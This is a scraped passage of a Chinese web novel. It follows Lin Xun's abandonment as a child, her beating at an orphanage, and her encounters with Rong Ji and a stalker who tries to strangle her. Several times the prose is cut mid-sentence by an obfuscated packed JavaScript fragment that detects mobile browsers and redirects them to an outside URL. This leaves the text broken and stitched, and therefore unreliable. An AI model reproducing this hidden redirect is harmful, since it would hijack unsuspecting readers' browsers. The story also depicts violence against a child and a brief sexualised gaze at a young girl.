刘海一愣,虽然有些出乎意料,但也没多想,也没觉得这不属于他的职责。 刘海是热心肠惯了的:“那我去跟你楼上说说。” 开门时路过容季,觉得他一男人跟小姑娘共处一室,怕人害怕,于是暗戳戳用眼神示意他:“走了,咱们一块上去。” “嗯。” 容季淡淡应了声。他抱着胳膊,刚抬脚,听到林寻细声细气的声音。 “叔叔,屋子里太黑了,我有些怕,您能让您这位……” 她看向容季,恰好,容季回头看向她。 嘴角蓦地一勾。 林寻一顿:“同事。留在这陪我讲讲话吗。” “啊。”刘海想了想,估摸着上楼讲个话估计也就十来分钟,正好屋外面风大雨大的,容季衣服还湿着,刘海也怕他感冒。 既然小姑娘不介意,他就顺水推舟:“那小容你在这站一会儿,刘叔上楼解决完就下来。” 刘海走了。屋内只剩林寻与容季两人,两人谁也没开口,空气里隐约有蜡烛燃烧的蜡油味。气氛沉寂下来。 林寻抬眼打量他。 这人五官极为出色,桃花眼,鼻梁高挺,嘴唇薄薄两片。不说话时看上去无情又漠然。 如果见过她肯定有印象。 她百分百确定没有得罪过他,甚至都不认识。 那,到底是为什么。 一开始思维惯性,她下意识以为跟踪她的和跟踪徐雨她们的是一个人,没想到结果会是这样。 她自顾自陷入沉思,丝毫没意识到自己一直盯着容季看,直到容季突然开口。 是自我介绍。 “容季。” 林寻:“?” 她有问过他名字吗? 她一点都不好奇好吧。 容季把毛巾铺平,去洗手间拧干,挂到墙壁上,出来看见林寻奇怪的表情,桃花眼上挑。 他肩膀虚怼着墙,抱着臂,疑惑:“不是让我陪你讲讲话?” 林寻:“……” 两人站位对立,如同象棋红黑两方,渭泾分明。 林寻张了张嘴,本想委婉点,又觉得没必要,于是直截了当:“刚才跟踪我的是你吧。为什么?我不记得得罪过你。” 容季顶着半干头发,懒懒看着她。他没正面回答,反问:“你觉得呢?” “……” 林寻下意识皱眉,开口时声音冷了好几个度,但看着刘海的份上,还是给他留了两分余地。 “如果再有下次,我会报警。” “呵。”回应她的是一声冷笑。 容季突然抬脚往林寻的方向走。 林寻下意识后退,直到背靠白墙,退无可退。 她抬眼,微仰着头直视距离她只有两步的男人,提醒:“刘叔快回来了。” 鼻尖突然窜入一股血腥味。 林寻一怔。 之前距离远没看出来,此时离得近了,她才发现男人的黑色上衣下摆有一道破损,周围的颜色较深。应该是她扔出去的小刀划伤了他腹部。她本以为没击中。 林寻双手贴住墙壁。心里并没有多少愧疚。 毕竟跟踪人的是他,她这算是正当防卫。 门口响起敲门声,林寻看容季一眼,容季让出身位,林寻去开门。 刘叔满脸笑容,显然和楼上的交涉很顺利:“小姑娘,我刚上去问了,楼上住了对夫妻,说是这两天准备要搬家了,刚在清东西,所以吵了点,我提醒他们了,他们会注意的。” 本来就是随便找的借口,林寻其实不太关心结果,她轻声道谢:“麻烦刘叔了。” “小事小事。”刘海穿过走廊下台阶,事情解决了,他打算先领容季去取备用钥匙,招呼,“小容,走吧。” “刘叔再见。”林寻看了容季一眼,侧身让他过去。 擦肩而过时,左耳旁轻飘飘落下一句话。 “容叶。记得吗。” 凌晨三点,林寻躺在床上,翻来覆去睡不着,最后干脆平躺着望着天花板发呆。 脑海里浮现出那个叫“容季”的临走时说的那句话。 用词是“记得”,不是“认识”。 他知道她认识容叶。 “容”这个姓不常见。容季……容叶…… 心脏骤然窜出股钝痛,密密麻麻,针扎似的。 林寻使劲阖了阖眼。 别再回忆了。她对自己说。 ...... 去酒吧上班前,林寻先去了一家西餐厅。 开在大学城附近。不到饭点,人不多。林寻推开玻璃门走进去时,只有一个男服务员懒散地擦桌面。 看见林寻,他眼神亮了一瞬,在看清她穿着时又黯淡,态度也变得敷衍:“酒吧出门右拐。” 林寻找了个最里面靠窗的位子坐下。她摘下工牌,放在斜挎包里,简短解释:“我等人。” 服务员仍然无精打采,没有给她拿菜单的意思:“几位?” “两位。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林寻怔了一下,捏着水的手指无意识收紧,瓶身随之响动。从见林西南到目前,直到此刻,心里才些许泛起涟漪。 许久没见到了。 但这名字,她并不觉得陌生。 京城的雨,说下就下。 刚才还艳阳高照的天,一会儿的功夫,竟淅淅沥沥下起雨来。地面被打湿成深灰色,空气到处都弥漫着潮湿水汽。 感应门开开合合,陆陆续续又跑进来四五个躲雨的年轻男女。 饭团热好了,林寻没带伞。 她接过饭团,一手拿着水。只有最角落的位子空着。 林寻去坐下,撕开饭团包装,紫菜包着米饭香扑鼻而来。 她低着头,小口小口咬。 外面顷刻间狂风暴雨,像天破了个洞,“哗啦啦”往下泼水。树枝被雨打到低头弯腰,无从抵抗。 十一年前,林西南从孤儿院被林家带走,也是在这样一个潮湿雨天。 那年,他们都住在一个叫“童心”的孤儿院。 林逐行,林寻,林西南。 原本是,林逐行和林寻。 林西南在后来加入,变成了三人行。在林西南被领养后,又恢复成最初的状态,顺理成章。 可是后来的某一天,林逐行突然告诉林寻。 当年林家想领养的小女孩,不是林西南。 是林寻。 5. 第5章 长途大巴车在山间道路上缓慢行驶,夕阳西下,天边的太阳红彤彤的,像熟透了的柿子。 十岁的小女孩坐在最后一排,她用小手扒着玻璃往外面看,可窗户上全是黄色的尘土,混浊不清。 小女孩看了一会儿,觉得无聊,便重新坐正了身子。 大巴车上声音嘈杂混乱,各种各样,什么动静都有,讲话声,吃面声,还有擤鼻涕和咳嗽声。 车辆颠簸,起起伏伏,没一会儿,小女孩就犯起迷糊,伴着杂乱的背景音打起盹。 扎着两个小啾啾的小脑袋向下一点一点的。 “她睡着了?”三人座外侧的男人探头看了眼小女孩,低声问坐在中间的女人。 “看着是。”女人也看了眼。小女孩睡熟了,此时正微张着嘴,口水顺着嘴角往下流,流到她的小白花裙子上。女人从口袋里掏出纸巾轻轻给她擦了擦。 看到她的动作,男人用胳膊杵了下她,压低帽檐,低声提醒:“你可别到最后关头反悔了。别忘了咱大老远出来一趟的目的。” “我没忘。”女人把弄脏的纸巾随手塞进座位前面的口袋。安静了一会儿,还是没忍住,小声抗争,“她又不是我一个人生的。” “她也是你女儿。” 男人“哼”了声,十分不以为然:“生了一个小丫头片子而已,跟多了不起似的。又不是儿子。” 闻言,女人还想说什么,嘴唇动了动,男人看见了,眉毛一竖,火气蹭一下上来,就要动手抬巴掌打人。大巴座位拥挤,他肩膀撞到前排的座椅,那长得五大三粗的男人被吓了一跳,回头狠狠瞪了眼他,男人一看,赶忙卑微道歉,跟面对女人时截然相反。 他重新坐正,手尴尬地在衣服上擦了又擦,想起正事还没做,要发火,想起什么,又有些害怕地缩回手。 最后使劲拧了把女人胳膊:“你装什么装。你早干嘛去了,现在就差临门一脚了你倒是不忍心了。你可给我记好了,咱们有轩轩一个宝贝儿子就够了,这是个赔钱货,咱养不起。”说完他闭上眼,丝毫不在乎女人反应。没过一会儿就打起呼噜。 男人力气大,女人疼得龇牙咧嘴的。她捂着胳膊,却不敢吭声。 没忍住侧头又看了眼睡熟了的女儿。十岁本来正是活泼好动的年纪,她却不吵不闹,乖巧又懂事。 女人嘴唇嗫嚅两下,最终,却还是什么都没说。 大巴停在山前的一个小村庄前,背靠大山,人烟稀少。女人叫醒小女孩,一家三口从车上下来。 男人先下车吸烟,女人跟在后面,一手提行李,一手牵着女儿。 小女孩很少和父母出远门,一般他们都只带弟弟出去玩,从来不带她。几乎是一下车就兴奋起来。她看了眼不远处揣着手抽烟的爸爸,想了想,还是选择走在妈妈旁边。 小女孩绕到妈妈另一边,看清她手里大包小包的东西后,懂事地接过来自己的书包背上:“妈妈,我自己的书包自己背。” 女人默默看着她的动作,无声哽咽,好不容易忍住。她用空着的手胡乱抹了把眼睛:“阿寻乖。” 三人往山里面走。 太阳落山了。 男人朝女人使了个眼色,女人看见了,身子下意识一抖,塑料袋把她手掌心勒出两道红色横纹。她低着头,选择默不作声。 眼瞅着天快黑了。怕赶不上回去的大巴,男人不耐烦,伸出手用力推了把妻子。女人被推得一个踉跄,栽倒在地上,东西七零八落,手也被地上的沙石割了一道大口子。 “妈妈!”小女孩赶忙跑过去,她人小力气小一时间扶不动,一着急,挡在女人面前,试图用两只瘦弱的胳膊拦住男人,“不许你欺负我妈妈!” 男人一听,当即把烟屁股摔在地上,用脚碾了两下,摩拳擦掌向前走:“小兔崽子,我看你现在是反了天了啊。你给我等着,老子连你和你妈一起揍!” 小女孩倔强地看着男人,小身子一动不动。身后的女人见状赶紧扯着她胳膊把她转过来。她吸了吸鼻子,愧疚到不敢去看女儿的眼睛,她从破旧的衣服口袋里掏出二十块钱:“阿寻,阿寻乖,妈妈手割破了,你帮妈妈去那边转弯过去的药店里买点碘伏好吗?” “好。我现在就去,妈妈你等我。”小女孩点头,接过钱,三两步跑走了。 直到她的影子消失在路口。女人才晃晃悠悠站起来。 终于甩掉了这个包袱,男人“哼”了一声,甩着手,也不管身后的女人,深一脚浅一脚朝车站走。 女人拾起地上零落的东西,她回过头,最后望了眼小女孩消失的方向。狠下心,咬着牙跟在了男人身后,走了。 直到上了车,大巴启动,身后的村庄逐渐缩小,最终,变成了一个点。她没忍住终于小声哭泣。 “阿寻,阿寻,我的乖女儿啊……对不起,你别怪妈妈,可是妈妈也很难,真的没有办法再养你了……” 小女孩踮着脚接过碘伏和店员找的零钱,仔细点了两遍,终于确保了金额是对的。她把钱塞进书包最里层,怕妈妈等着急,她一路跑。 一转弯,一愣。 街上空无一人,两边的房子大门紧闭,寂静一片。偶尔三两声麻雀叫。 她的妈妈不见了。 小女孩在原地站了很久很久。 天彻底黑透,周围的房子亮起灯,逐渐从里面传出烧柴火和切菜声。她突然明白了什么。 她安静地把药放在地上,转过身,安静地揪着自己的书包袋子,顺着街慢慢走。 小白花裙子在风里荡啊荡,悄无声息,像从没来过这世界一样。 …… 童心孤儿院放晚饭了。 这次久违地有一桶青菜瘦肉粥,还有肉包子,一个孩子可以领两个。孩子们欢天喜地,领了饭就各自分散开,很快,又三三两两聚成一团。 孤儿院长大的孩子,第一课不是语数外,是拉帮结派。 三个男孩仗着自己腿长,飞快地跑到外面的空地,占了秋千,咬着包子晃荡腿,好不快活。后面再有小团体来也被他们瞪走。 一人咬着包子正咧嘴笑,余光里一小块白色一晃而过,他愣了一下,从秋千上下来,蹦跳到栅栏旁边。 眯眼朝外看。 那抹白色越靠越近,男生瞳孔逐渐放大。居然是个好看的小女孩,穿着白裙子,眉眼精致过分,淡淡的清冷感,宛如误入山林的迷途天使。 他赶紧招呼同伴过来。 三个男生扒着栅栏齐刷刷看着女孩,像是她是什么珍稀物种。 突然,珍稀物种开口了,哑着嗓子,一句话就把他们拉回现实。 “请问,你们还有不吃的包子吗?” 像是才反应过来,三个男生互相对了下眼神,中间那个个子最高的男生率先开了口,好奇地问她:“喂,新来的,你叫什么?” 这话像是撕开防线,三人七嘴八舌。 “你是刚跑出去玩的吗,你怎么避开刘老师的,教教我呗。” “不对,她不是我们这的,她这么漂亮,我以前从来没见过她。” “我叫林杰,他叫林阳,那个是林海,我们孤儿院的孩子都姓林。诶,你还没说呢,你叫什么名字啊?” 小女孩默了一会儿。妈妈不要她了,她现在也是孤儿了,和他们并无两样。 “我叫林寻。” 三个男生走到角落去交头接耳。一会儿就折返,中间那个看向林寻,笑着说:“你想吃包子吗,你翻过来,我们就给你。” 林寻看他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282788|166910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得他叫林阳。 “你说话算话?” “当然。” 林寻打量着栅栏,也许是平常有老师看着,并不担心孩子跑出去,这栅栏建得不高。 她先把书包扔过去,被左侧的男生一把接住,抱在怀里。林寻慢慢往上爬,到最上面,她抓着杆,太高了。她迟迟不敢往下跳。 “喂,跳啊。放心,我们会接住你的。”三个男生仰着头,边笑边大声冲她许诺。 林寻使劲闭了闭眼,肚子又叫了两声。饥饿感战胜恐慌,她相信了他们的话,使劲向下一跃。 她像断了线的风筝,重重摔落在冰冷的泥土地上,单薄,痛苦。 “哈哈哈哈哈,我就说她会信吧。我赌赢了,你的玩具车是我的了哈哈哈哈。” “靠!” 林寻趴在地上,脸朝下,一动不动。她的小白花裙子沾了土,瞬间泥泞不堪。 林阳走回去,蹲在她面前,戳她脑袋,见没反应,转头去问同伴:“喂,她不会死了吧?” “没这么弱吧。”林海也走过来,蹲下。他盯着她散乱的啾啾看了一会儿,视线渐渐不受控地移到她裸露出来的小腿上。 用胳膊杵了下林阳:“她好白。” “比我们这的女生白多了。”林阳也看到了。十四五岁的男生,有些事,不用教不用学,天生就懂。一股燥热涌上头,口干舌燥。 身后传来脚步声。 林海回头,问:“找到什么了?” “两本破书,一个铅笔盒。”林杰装模作样翻找两下,他把东西都倒在地上,稀里哗啦一阵响。书包扔在林寻旁边,还被顺势踩了两脚,和她一样,融进泥土里。 “哦,我还以为能找到什么好玩的。”林海大失所望,无趣地回过头。 “那个啥,我没吃饱,去食堂再拿点包子啊。”趁他们注意力在林寻身上,林杰把找到的钱塞进裤兜,他悄悄向后退,想溜。 “这个点去还能有剩的?” “抢别人的呗。” 话落,三个男生都意味不明地笑了。 物竞天择,适者生存。孤儿院的孩子比大人更早学会如何实践社会达尔文主义。 林杰转过身,刚想走,身后一道声音生生止住他的脚步。 “把钱还给我。” 三个男生同时一愣。 林寻慢慢坐起来,头发从脸上散开到两侧,露出沾满泥的脸。身体的每个骨头缝里都在疼,额头也肿了个大包,她扶着秋千缓慢站起身,仍然在坚持,弓起背脊,像蓄势待发的狼,一字一顿。 “我说,把,钱,还,我。” “我没拿你的钱。” 林杰匆匆转身,想离开这个是非之地。被林海和林阳同时拦住。 “钱拿出来。” “或者,我们揍你一顿,再把钱抢过来。”林阳笑了笑,转着脖子和手腕,“你自己选。” 林杰的脸一下惨白。 三人联盟顷刻间崩塌,变成二对一。 他乖乖从裤兜掏出林寻的钱,林阳一把,全数夺过去。他满意地舔着嘴唇数钱,突然一阵风,一股力把他撞摔在地上。 林阳反应很快,反手就重重推了那人一把。 砰! “操!谁他妈敢撞老子!” 歪七竖八站起来,林阳撩开额前头发,看清楚那人的样子后一愣。 林寻手里死死捏着抢回来的钱。她坐在地上,头歪靠在秋千旁边,无声无息。 血从她额头处涌出来,像是小溪流,源源不断,无休无止,然后顺着脸颊淌进脖子。小白花裙子混杂泥土和血迹,脏得看不出原本的颜色。 天空乌云密布,伴随沉闷雷声。 暴雨要来了。 6. 第6章 空气中飘散着淡淡的血腥味,像是猛兽捕杀猎物前的蛰伏。 四人在空地里僵持着。退让是什么意思,没人学过。 回过神来。林阳吐了口口水,骂着脏话走到林寻旁边,踢了她一脚,又去掰她的手,没掰开。 青春期的男孩,身上有使不完的劲。 林阳此时火气也上头了,钱不要了,要发泄情绪。踹,拧,扇,打,什么招数都往地上的人身上使,像对方不是个活人,而是沙包拳袋。 十分钟后,他终于累了,甩了两下酸麻的手臂,看也不看地上寂静如尸体的小女孩,骄傲地吹着口哨,宣布撤退。 “走了。” 耳边突然一道打着颤的声音,林阳侧过脑袋,就看见林杰和林海同时哆哆嗦嗦用食指指着地面:“林阳,你,你看,她在笑。” 林阳凑过去看,嚇,还真是在笑,乍一看还挺甜。他自然而然当做是对方的挑衅,拳头又举起来,扫视一番,却没有下手的地方。 算了。 林阳意兴阑珊收回手。 他绝不承认他也被她的样子吓到了。 嘴里骂骂咧咧的:“疯子!” 林杰和林海如梦初醒。恼怒代替畏惧,男生把面子看得比天大。也加入进去,大声咒骂她。 “小怪物!” “天生的坏种!” 同类最知道伤口在哪里,往哪块戳最疼。还没算完,还要继续。 “活该你是孤儿!” “活该你爸妈不要你!” 天空沉闷许久,终于,随着巨大的雷声响彻云霄,瓢泼大雨霎那间降临人间,要不顾一切冲刷掉世间一切罪恶和苦难。 林寻平躺在地上,安详地闭着眼,雨铺天盖地落在她的头发上,脸上,四肢上。她的世界里空无一人。 屏住呼吸,想随大雨一起融进这泥土里。 “你叫林寻,对吗?”声音在她正上方响起。 林寻睁开眼,一个长得十分精致的男生蹲在她旁边好奇地打量她。 见她看他,男生笑了笑,居然罕见地有些不好意思,自我介绍:“你好,初次见面,我叫林逐行。” 他戳了戳林寻散乱的啾啾,发现林寻表情厌恶,又重新帮她绑好。轻声跟她商量:“我很喜欢你,林寻……我叫你阿寻好不好,你可以做我妹妹吗?” 林寻动着嘴唇,被雨润湿的两瓣开合两下,脸又白了两分,仿佛这两下就耗费了她仅有的全部的力气。 她气若游丝,却仍旧对世界怀揣敌意:“滚开。” 男生一愣,随即笑开,唇若点樱。他并不在意她恶劣的态度,轻手轻脚把林寻背起来,怕碰到她伤口,步伐稳而慢,像她是瓷器。 他朝医务室走。 一路上还喋喋不休给她做思想工作:“真的不答应吗,你不知道,我很厉害的,在孤儿院,可以保护你的。” 林寻趴在他背上,始终安静,始终一言不发。 医务室的值班医生是个中年女人,一开门,看见林寻凄惨的样子,吓了一大跳,赶紧把两人叫进来。 等帮她包扎完伤口,上完药,女人才气愤地问:“是不是林阳他们弄的?” 林寻看着女人,点了下头。 “又是那三个混小子。”女人扶额,觉得头疼。那三个惯犯! 她看向林寻,轻声问:“你还要留在我们这里吗?” 孤儿院的孩子她都面熟。她一见面就认出林寻不是在这里长大的,但那有什么关系,来到孤儿院的孩子,总有千奇百怪的方式。 林寻看向窗外。 黑云压城,风雨俱来,她别无选择。只能默认。 “可怜的孩子,你一定饿了。”女人摸了摸她的头发,看向旁边,不知道为什么,沉默了两秒才开口,“逐行带你去吃点东西,好吗?” “嗯。” 林寻的身体复原得很快。半个月后去医务室复查时,老师都笑着打趣她是坚韧的野草,顽强的生命力。 林寻眼眸漆黑。仇恨像定时炸弹,埋在心脏深处,倒计时和心脏一起跳动。她在等,等一个最完美的时机。 …… 林寻彻底恢复后做的第一件事,就是在晚饭时,当着所有人的面,把粥全数泼在林阳身上。劈头盖脸,满身都是。 刚出锅的粥热乎得很,林阳都没来及喊烫,甚至没看清是谁,第二碗紧随其后,再然后,第三碗,第四碗…… 惨叫声传遍食堂每个角落。 因为这件事林寻被罚一周不能吃晚饭。 孤儿院强者为王,但像林寻这样冷不丁从背后搞偷袭的,孩子们又是不屑又是惧怕,毕竟除了林逐行,没人知道林阳打她的事。在他们眼里,就是新来的小女孩莫名其妙把他们最厉害的大哥欺负了。 没人敢跟林寻玩,谁知道她哪天心情不好会不会拿热粥泼自己。 只有林逐行每天晚上都把她叫到顶楼天台,偷偷给她塞吃的。有时是花卷,有时是面窝,热腾腾的,散发着香味。 林寻拒绝了好几次,他仍旧坚持。他好像真的很喜欢她。 天台逐渐成为两人的秘密基地。 …… 午饭时间,林寻端着托盘在食堂找了个位置坐下,周围人吓得迅速远离,仿佛她是瘟疫,林阳坐在不远处恶狠狠盯着她,头上缠着绷带,不敢靠近。 林寻头也不抬,早习惯了。林逐行端着托盘坐到她旁边,把碗里的鸡腿夹到她碗里,林寻也不客气,咬了口,鲜嫩多汁。 门外传来阵骚动,时不时还有三两声惊呼。 林寻终于咽下最后一口肉。林逐行看她:“吃饱了吗?” “嗯。” “那走吧。” 两人端着托盘朝门口走,前面的人余光瞥见他们,下意识闪身到一边,让出道路。 快到门口时,林寻停住,眼神停滞一瞬,瞬间知道了孩子们惊呼的原因。 老师正牵着一个女孩子往里走,女孩看起来十三岁的样子,穿着红色的无袖连衣裙,丹凤眼,五官娇艳夺目。 如果说林寻是初绽的花骨朵,小巧而淡雅,那这个女孩子就是盛放的玫瑰,张扬而热烈。 林寻平静地收回视线,心里没什么特别的感觉,也没觉得自己以后会和她有什么交集。 和林逐行一起把托盘放在回收区。两人朝门口走,掀开门帘。身后,女孩子正大大方方站在中间朝大家自我介绍:“大家好,我叫林西南,我家住在西南边,所以爸爸给我取名叫西南……” 外面久违的是个大晴天。 林寻和林逐行去了天台。 林寻双手撑着天台边沿坐着,两条纤细的腿在空中晃荡,离地面几米高,她却不再害怕。适应孤儿院的生活比她想象中简单太多。 她闭着眼,享受风拂过脸颊的轻柔。 林逐行拿了本书靠在她旁边,是看书也是护她。 快到晚饭时间,他们才下楼。 林寻领完饭,占好两个座位。举起手正准备示意林逐行。瞥见三道身影,她一顿,手放下来。 她握紧筷子,把手藏到身后。 林阳三人终于走到她前面。他朝她狞笑,摩拳擦掌:“小怪物,我们之间的仇该算算了吧。” 林寻看了眼四周,试图寻找林逐行的身影,没找到。她后退两步,努力保持镇定,拖延时间顺带骂回去:“丑八怪。” 林阳下意识去摸脸上的疤,反应过来,火气蹭一下窜上来。放下手:“还不是因为你!”说着伸手想去抓林寻的肩膀,林寻出其不意拿筷子细端戳向他的手,然后她迅速转身往门口跑,林阳吃疼,下意识“嘶”了一声,随即,拔腿紧跟在林寻身后。 周围的孩子们早习惯事不关己高高挂起,此时都选择默不作声,眼睛瞎了,耳朵聋了。 突然,人群里响起一道脆生生的嗓音:“老师来了!” 所有人下意识看向门口,门帘抖动着,有人要进来。林阳阴沉着停住脚步,呸了声:“这次算你走运。”三人迅速从后门跑走。 林寻松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两个十来岁的小女孩在月光下大眼瞪小眼。 林西南朝林寻那边挤了挤,伸手抱住她胳膊,问:“林寻,在这个世界上,你有害怕的东西吗?” 林寻想了想:“别人都害怕我。” “为什么?”林西南诧异,“我第一次看见你,就觉得你是个好人。” 林寻心说那是你没看见我泼热粥的样子,但她没多解释,平静地“哦”了一声。 林西南把头靠在她颈窝里,身子轻轻颤着:“林寻,你知道吗,我特别害怕穷。” “为什么?” 林西南闭了闭眼,憋住眼泪。她平躺着瞪着天花板,尽量不哭出来。 “我们家以前是开化肥厂的,后来生意不好,挣不着钱,厂关了,我妈嫌我爸没用,就跟别人跑了。” “然后呢。”林寻睁开眼。她想她妈妈了。 “我爸去找过她,逢人就问,但是没有人能告诉他,后来他放弃了,天天在家喝酒,然后,有一天早上,村里人来找我,说我爸失足掉河里,没了。” 林寻不知道该怎么安慰她。她默不作声握住她的右手。 “再然后,我就来这了。”林西南看着天花板,眼泪顺着脸颊两侧,淌出两道痕,“要是有钱,我妈就不会走,我也不会是孤儿了。” 她跪坐起来,扯松睡衣领口,从里面拉出一个东西:“林寻,你看。” 林寻也坐起来。她看过去。 月光下,林西南的脖子上挂着条项链,上面有什么东西在闪光。 不,严格上来说,并不能称之为项链。因为只是一根红绳,上面吊着个易拉罐的拉环。 林寻怔了一下。 林西南看向窗外的月亮,声音闷闷的,像是许诺,又像是发誓:“总有一天,我会带上真正的钻石项链。林寻,林寻,你说我可以做到吗?” “你会的。”林寻牵起她的手。 窗外的月光皎洁而明亮。两个小女孩跪坐在床上,双手合十,闭上眼,对月亮,也对彼此承诺。 我们都曾经历灰暗的过去,但是我们一定会努力朝前走,不放弃,向着希望,迎着朝阳,去拥抱属于我们自己的,光明灿烂的未来。 7. 第7章 林寻出便利店时,雨已经停了。 快到晚饭时间,街边大大小小的店都忙碌起来,准备迎接周五的晚高峰。 红绿灯旁边的绿色邮筒倒影在水洼里,小小一个。林寻绕过去。绿灯了,她径直走上斑马线。 刚走到马路对面,衣服口袋里传出微信提示音,连着两声。林寻掏出手机,她停下,眯着眼。徐雨给她发了两段语音。 点开,把手机举到耳边,徐雨急切的声音传出来。平地一声雷: “林寻,那个变态的身份被查出来了!” 林寻抿了抿唇,脑海里容季的脸一闪而过。 第一条语音结束,自动跳转第二条。 “听说是我们学校门口的保安,有前科。叫什么来着,李,李……对了,李华山!他昨天晚上跟踪一个女生的时候脸被路口的摄像头拍到了……大家都猜他是想报复举报他的女生,不过听说人还没抓到……” 语音没停,徐雨还在絮絮叨叨,又说了一堆。大致意思就是觉得现在还是不安全,晚上下班一起走。 林寻把手机放下来,准备打字回个“好”,胳膊突然被撞了一下,她身子一歪,手机滑落在地上。 那人意识到撞到人,赶紧把手机捡起来还给她,边道歉边跑,着急过马路。 林寻回头向侧上方看了眼——绿灯还有五秒。 她握着手机,没多说什么。收回眼的一刹那,撞进一道意味不明的视线。 夕阳西下,人如潮水般涌过斑马线。 容季立在马路对面的绿色邮筒旁,闲散插兜。目光穿过人群,静静看着她。身旁站了个穿短裙的女孩,仰头跟他讲话。 林寻神色微变,平静表情有些崩裂。她皱着眉回看他,眼睛里明明白白透露出一个信息。 你没完了? 容季知道她误会,小幅度摇了摇头,表示是巧合。 林寻看懂了,但是鬼才信他。她翻了个白眼,往前走,没走两步,觉得不解气,又扭过头,无声朝他做了个口型: 跟——踪——狂。 容季:“……” 刘云举着十串烤串回来时,正好撞见短裙女生黯然离去的画面。他猛一刹停,等那女生转过弯,看不见了,才凑过去八卦:“容哥,你跟你女朋友吵架了啊?” “不认识。”容季随手把外套袖子搂上去,接过刘云递过来的烤串,咬了口,又麻又辣,一口麻到舌头根。 刘云瞬间懂了,语气听上去十分艳羡:“怎么没女生来跟我搭讪啊。” 红绿指示灯再次变绿。容季把竹签扔进路边的垃圾桶,抬脚过斑马线:“也许等你知道大热天不买麻辣味烤串的时候就有了?” 刘云:“?” 他就想说,重口味点怎!么!了! 两人一前一后走进酒吧,容季开了个卡座。 酒吧和街道,一门之隔,氛围截然相反。舞池里男男女女肆意舞动身体,各自释放压力。一不注意,手打到旁边的人,“啪”一声,战争的号角即刻吹响。舞动瞬间变成“武动”,舞池乱作一团。 “……”刘云屁股刚坐稳就被迫站起来。他认命地过去劝架。 容季开了瓶酒,余光里有个人一闪而过,他眼神一动,直起身。等刘云好不容易处理完事,一回头,人早消失了。 …… 林寻今天晚上的状态不太对劲,她还在想订婚帖的事。才一小时,不是算错帐就是送错酒,老板看不过眼,抬手招呼她过去,叹了口气,没问原因,也不太在意,随手打发她回去休息。 林寻换回自己的衣服,走前跟徐雨打了声招呼,对方可惜两声,却也记得叮嘱她注意安全。 夜色沉沉。 月亮隐在厚重的云层里,黯淡无光。林寻沿着马路边走。 正前方围了一群人,吵吵嚷嚷。林寻竖起耳朵听了会儿,好像是出了车祸,五车连环撞,砰砰砰砰,零件散得一地都是。 吵架声混杂警铃。路也封了。 林寻叹口气,认命地转进巷子,改走小路。 她打开手电筒照明,身后传来沉重脚步,如影随形,亦步亦趋。 “……”林寻停下来,望向天空。 生平第一次有想骂脏话的冲动。 “你脑子是不是有……”她皱着眉扭过身,最后一个音戛然哽在喉咙眼。 手电筒的光打在那人脸上。 皮肤黑黢皱巴,眼睛炯炯有神,在黑暗中闪着凶狠的光。 不是容季。 是李华山。 林寻一怔。 就是这么一愣神的功夫,她错过了逃跑的最佳时机。 李华山猛地扑上去把她按倒在地。手机弹跳几下,掉进水坑,唯一的光灭了。 林寻拼死挣扎,掐,拧,撕,扯,两条腿在地上无力蹬着。掐住她脖颈的手还是纹丝不动。 她清楚地感觉到进入身体的氧气越来越少。 她不能死在这。她脑子轰隆,耳鸣阵阵,只剩下这一个念头。但是李华山显然没打算放过她。 她快陷入窒息,眼珠向上翻,眼白露出来,挣扎速度慢了下来……突然刮来一阵疾风,脖子上的压力骤然消失。 林寻迅速坐起来。她一只手撑在地上,弓着腰捂住脖颈,像是要把肺都咳出来。 视线里出现一只修长的手,林寻抬眼。 容季蹲在她面前,视线划过她脖子上的红痕,皱眉把她扶起来:“能缓过来吗?” 林寻伤了嗓子出不了声,她眼眶充血,胸膛剧烈起伏。警惕看向周围。 “别找了。”容季轻嗤,“被我踹了一脚,跑了。” 林寻把手机从水坑捡出来,屏幕暗着,她按了两下开机键,没反应。 容季看见了,把自己的手机解锁递给她。 林寻输入110,手指悬在绿色拨通健上方,思考了会儿,突然扭头看他。 天边的云散去,月光照进巷子里,落在那人身上,添了些清冷与柔和。 容季全程手插兜站在她旁边。这会儿对上她视线,挑了下眉:“怎么。” 林寻伸手指了指自己喉咙,示意他她现在说不了话。拨通电话,林寻把手机还给他。 容季看了眼她,接过来,站在原地没走远,三言两语跟对面说清楚现在的状况。 等待警.察来的过程,容季去旁边抽了根烟。火光在黑暗中一闪一闪。 林寻立在原地,垂着头摆弄手机。 小巷内光影交错。黄色的车灯光晃进来,伴随两道喇叭声。路好像疏通了。 容季抽完烟,扫了眼巷子外,走回去,喊她:“喂。” 林寻抬起头看他,不明所以。 他立在她对面,盯着她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282790|166910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 